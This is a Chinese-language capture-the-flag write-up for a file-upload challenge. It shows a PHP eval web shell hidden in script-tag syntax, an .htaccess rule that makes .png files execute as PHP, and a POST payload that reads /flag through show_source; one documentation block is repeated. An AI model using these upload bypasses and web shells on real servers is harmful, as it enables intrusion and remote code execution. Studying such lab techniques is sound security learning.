打开题目是一个普通的文件上传,首先上传一个普通的一句话木马得到
发现后缀名过滤了ph,所以我们上传一个图片马
上传类型也受限制了,所以把数据类型改为image/ipeg
回显报错说明它检测的是文本的内容,是过滤了php的标志<?
这里还查看到php版本为PHP/5.6,在网上搜索到了绕过姿势
可以使用<script language='php'>eval($_POST[cmd]);</script>
现在只有后缀名无法无法绕过了,这里我们想到.htaccess
.htaccess攻击
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。
如果一个web应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险。
若配置文件中有如图中一样,即表示允许被覆盖。
*将.png文件当作PHP文件解析
将以下代码写入文件,并保存成.htaccess名字,放到测试目录下
AddType application/ x-httpd-php .png
在同一目录下创建一个文件[info. png],文件内容如下
<?php
phpinfo( );
?>
当我们访问该文件时,[info.png] 内的PHP代码将会被执行。
我们看到server:OpenResty
OpenResty(也称为 ngx_openresty)是一个全功能的 Web 应用服务器。它打包了标准的 Nginx 核心,很多的常用的第三方模块,以及它们的大多数依赖项。
在查询过后发现Nginx也是可以使用.htaccess文件的,所以我们可以是先上传.htaccess文件后,绕过后缀名的检测
之后上传shell.shell文件
解析上传成功,
我们访问这个木马,并且用show_source() 函数,查看到flag。
0x01 PHP show_source() 函数
定义和用法
show_source() 函数对文件进行语法高亮显示。
语法
show_source(filename,return)
本函数是 highlight_file() 的别名。
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
返回值
如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。
payload:最post:shell=show_source('/flag');
得到flag。
0x01 PHP show_source() 函数
定义和用法
show_source() 函数对文件进行语法高亮显示。
语法
show_source(filename,return)
本函数是 highlight_file() 的别名。
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
返回值
如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。
0x02 payload
最后post:shell=show_source('/flag');
得到flag
做完题之后看到了附件里面有源码
通过代码审计之后确实是过滤了后缀名,文件类型,上传内容中的<?。
最后附上文件上传的解题思路